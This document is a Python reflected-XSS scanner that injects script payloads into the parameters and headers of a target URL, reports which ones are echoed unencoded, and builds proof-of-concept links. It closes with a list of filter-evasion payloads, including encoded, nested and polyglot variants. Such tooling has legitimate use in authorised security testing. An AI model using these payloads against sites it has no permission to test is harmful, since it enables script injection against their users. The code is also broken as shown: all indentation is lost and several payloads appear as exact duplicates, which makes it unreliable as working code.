"""
Reflected XSS Vulnerability Tester
"""
import requests
import re
from urllib.parse import urljoin, quote
from html import escape
class ReflectedXSSTester:
def __init__(self, url):
self.url = url
self.findings = []
self.session = requests.Session()
self.session.headers['User-Agent'] = 'Mozilla/5.0 XSS-Tester'
PAYLOADS = [
'<script>alert(1)</script>',
'<script>alert("XSS")</script>',
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
'<body onload=alert(1)>',
'<input onfocus=alert(1) autofocus>',
'<marquee onstart=alert(1)>',
'<video><source onerror=alert(1)>',
'<ScRiPt>alert(1)</ScRiPt>',
'<IMG SRC=x ONERROR=alert(1)>',
'<img src=x onerror=alert(1)>',
'<img src=x onerror=alert(1)>',
'<img src=x onerror=`alert(1)`>',
'" onmouseover="alert(1)" x="',
"' onmouseover='alert(1)' x='",
'javascript:alert(1)',
'javascript:alert(document.domain)',
'data:text/html,<script>alert(1)</script>',
'<svg/onload=alert(1)>',
'<svg><script>alert(1)</script></svg>',
]
def find_parameters(self):
"""Extract parameters from page"""
print(f"[*] Finding parameters on {self.url}")
response = self.session.get(self.url)
inputs = re.findall(r'name=["\']([^"\']+)["\']', response.text)
params = re.findall(r'[?&]([^=&]+)=', response.text)
all_params = list(set(inputs + params))
print(f" Found {len(all_params)} parameters")
return all_params
def test_reflection(self, param, method='GET'):
"""Test if parameter reflects input"""
canary = f"xss{hash(param) % 10000}test"
if method == 'GET':
response = self.session.get(self.url, params={param: canary})
else:
response = self.session.post(self.url, data={param: canary})
return canary in response.text
def get_context(self, response_text, payload):
"""Determine injection context"""
if payload in response_text:
before_idx = response_text.find(payload)
before = response_text[max(0, before_idx-50):before_idx]
if re.search(r'<script[^>]*>[^<]*$', before):
return 'javascript'
elif re.search(r'<[^>]+\s+\w+\s*=\s*["\']?[^"\']*$', before):
return 'attribute'
elif re.search(r'<style[^>]*>[^<]*$', before):
return 'css'
elif re.search(r'<!--[^>]*$', before):
return 'comment'
else:
return 'html'
return None
def test_xss(self, param, method='GET'):
"""Test parameter for XSS"""
print(f"\n[*] Testing parameter: {param}")
if not self.test_reflection(param, method):
print(f" [-] No reflection found")
return
print(f" [+] Parameter reflects input")
for payload in self.PAYLOADS:
try:
if method == 'GET':
response = self.session.get(self.url, params={param: payload})
else:
response = self.session.post(self.url, data={param: payload})
if payload in response.text:
context = self.get_context(response.text, payload)
print(f" [VULN] XSS payload reflected unencoded!")
print(f" Payload: {payload[:50]}")
print(f" Context: {context}")
self.findings.append({
'parameter': param,
'method': method,
'payload': payload,
'context': context,
'severity': 'High'
})
return
elif 'alert' in response.text or 'onerror' in response.text:
print(f" [INFO] Partial reflection detected")
except Exception as e:
pass
def test_headers(self):
"""Test HTTP headers for XSS"""
print("\n[*] Testing HTTP headers...")
headers_to_test = [
('User-Agent', '<script>alert(1)</script>'),
('Referer', '<script>alert(1)</script>'),
('X-Forwarded-For', '<script>alert(1)</script>'),
('X-Forwarded-Host', '<script>alert(1)</script>'),
]
for header, payload in headers_to_test:
try:
response = self.session.get(self.url, headers={header: payload})
if payload in response.text:
print(f" [VULN] Header {header} reflects XSS payload")
self.findings.append({
'parameter': f'Header: {header}',
'method': 'GET',
'payload': payload,
'context': 'header',
'severity': 'High'
})
except:
pass
def generate_poc(self, finding):
"""Generate PoC URL"""
if finding['method'] == 'GET':
return f"{self.url}?{finding['parameter']}={quote(finding['payload'])}"
else:
return f"POST {self.url} with {finding['parameter']}={finding['payload']}"
def run_tests(self):
"""Run all XSS tests"""
params = self.find_parameters()
for param in params:
self.test_xss(param, 'GET')
self.test_xss(param, 'POST')
self.test_headers()
self.generate_report()
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("REFLECTED XSS VULNERABILITY REPORT")
print("="*60)
if not self.findings:
print("\nNo reflected XSS vulnerabilities found.")
else:
print(f"\nFound {len(self.findings)} vulnerabilities:\n")
for f in self.findings:
print(f"[{f['severity']}] {f['parameter']}")
print(f" Method: {f['method']}")
print(f" Context: {f['context']}")
print(f" Payload: {f['payload'][:60]}")
print(f" PoC: {self.generate_poc(f)}")
print()
tester = ReflectedXSSTester("https://target.com/search")
tester.run_tests()
BYPASS_PAYLOADS = [
'<ScRiPt>alert(1)</ScRiPt>',
'<SCRIPT>alert(1)</SCRIPT>',
'<scr\x00ipt>alert(1)</script>',
'<script>alert(String.fromCharCode(88,83,83))</script>',
'<img src=x onerror=eval(atob("YWxlcnQoMSk="))>',
'%253Cscript%253Ealert(1)%253C/script%253E',
'<script>\u0061lert(1)</script>',
'<script>alert(1)</script>',
'<script>alert(1)</script>',
'<script>alert(1)</script',
'<script>alert(1)',
'<<script>script>alert(1)</script>',
'<scr<script>ipt>alert(1)</script>',
'<img src=x onerror=alert`1`>',
'<svg/onload=alert(1)>',
'<img src=x onerror=alert(1)>',
"jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e",
]